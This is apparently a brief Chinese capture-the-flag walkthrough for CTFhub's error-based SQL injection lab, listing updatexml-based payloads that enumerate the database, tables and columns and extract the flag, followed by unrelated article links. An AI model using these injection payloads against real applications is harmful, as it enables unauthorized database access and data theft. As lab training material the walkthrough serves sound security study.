CTFhub-sqli注入-报错注入

用到的函数

updatexml(1, ,1)

concat(0x7e, ,0x7e)

group_concat(目标值)

right(,32)

1

1'

1 union select updatexml(1,concat(0x7e,database(),0x7e),1)

1 union select updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables where table_schema='sqli'),0x7e),1)

1 union select updatexml(1,concat(0x7e,(select(group_concat(column_name))from information_schema.columns where table_schema='sqli' and table_name='flag'),0x7e),1)

1 union select updatexml(1,concat(0x7e,(select(group_concat(flag))from sqli.flag),0x7e),1)

1 union select updatexml(1,**concat(0x7e,right((select(group_concat(flag))from sqli.flag),32),0x7e),**1)

相关推荐
YOU OU3 小时前
Spring IoC&DI
java·数据库·spring
Muscleheng4 小时前
Navicat连接postgresql时出现‘datlastsysoid does not exist‘报错
数据库·postgresql
罗超驿4 小时前
18.事务的隔离性和隔离级别:MySQL面试高频考点全解析
数据库·mysql·面试
jran-5 小时前
Redis 命令
数据库·redis·缓存
小江的记录本5 小时前
【Java基础】Java 8-21新特性:JDK21 LTS:虚拟线程、模式匹配switch、结构化并发、序列集合(附《思维导图》+《面试高频考点清单》)
java·数据库·python·mysql·spring·面试·maven
June`5 小时前
多线程redis下如何解决aof重写和rdb持久化的数据一致性问题
数据库·redis·缓存
二宝哥6 小时前
离线安装maven
java·数据库·maven
SZLSDH6 小时前
场景适配论 | 数字孪生IOC建设中渲染技术与智能体能力的协同逻辑
前端·数据库·ai·数字孪生·数据可视化·智能体
这个DBA有点耶6 小时前
SQL改写实战:子查询、CTE、窗口函数性能对比
数据库·mysql·性能优化
@我漫长的孤独流浪6 小时前
数据库完整性约束全解析:从理论到实践
数据库